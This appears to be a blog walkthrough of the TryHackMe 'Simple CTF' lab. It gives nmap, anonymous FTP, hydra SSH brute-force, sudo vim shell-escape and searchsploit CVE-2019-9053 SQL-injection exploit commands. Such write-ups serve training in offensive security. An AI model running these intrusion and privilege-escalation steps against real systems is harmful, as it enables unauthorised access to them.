TryHackMe|Simple CTF WriteUp\Walkthrough (English)
Simple CTF
Room Link: https://tryhackme.com/room/easyctf
- sudo nmap IP -vv -p 1-1000 you have two ports 21 and 80. sudo nmap -vv IP you have 3 ports open on this machine. 80,21,2222. The higher port is 2222 and it is running SSH.
- sudo nmap -A IP -vv from the results you have an ftp server on port 21 that allows anonymous login. Login in with ftp cd pub and get ForMitch.txt. From this note you knew that there is a user on the machine called mitch and he has a weak password, probably exists in the rockyou wordlist.
- Crack using hydra -l mitch -P /usr/share/wordlists/rockyou.txt ssh://IP:2222 -t64 you got the password ******.
- Login to the ssh server on 2222 using these credentials and you will get the first flag in the user’s home directory user.txt ✨.
- cd /home to know the other user on the system which is sunbath.
- To spawn a privileged shell sudo -l. The user mitch can run vim with root privileges. To gain a privileged shell open any file using vim. sudo vim .viminfo then inside vim use vim command mode :!/bin/bash -I then you will immediately get a root shell. cd /root and retrieve the last flag ✨.
-----------------------------------------------------------------------------------------------------
- This is a super easy way to hack the machine. There is another way that it wanted us to use in this room. To start do a directory enumeration on the server. gobuster dir -w /usr/share/dirb/wordlists/common.txt -u http://IP -r you got a directory called /simple if you go there you have a CMS application. To know the version, look at the bottom of the page.
- searchsploit cms made simple 2.2.8 you got one python exploit. Copy it to your current directory searchsploit -m 46635. python3 46635.py to know how to use the exploit. python3 46635.py -u http://IP/simple/ --crack -w /usr/share/wordlists/rockyou.txt. The code will start cracking the password and enumerating the user.

- To answer the questions 3 and 4 you can use exploit-db. Here the number is 46635 you can do a quick search in exploit-db with this number to know the CVE.
So, the answers are CVE-2019-9053 and SQLi.




Comments
Post a Comment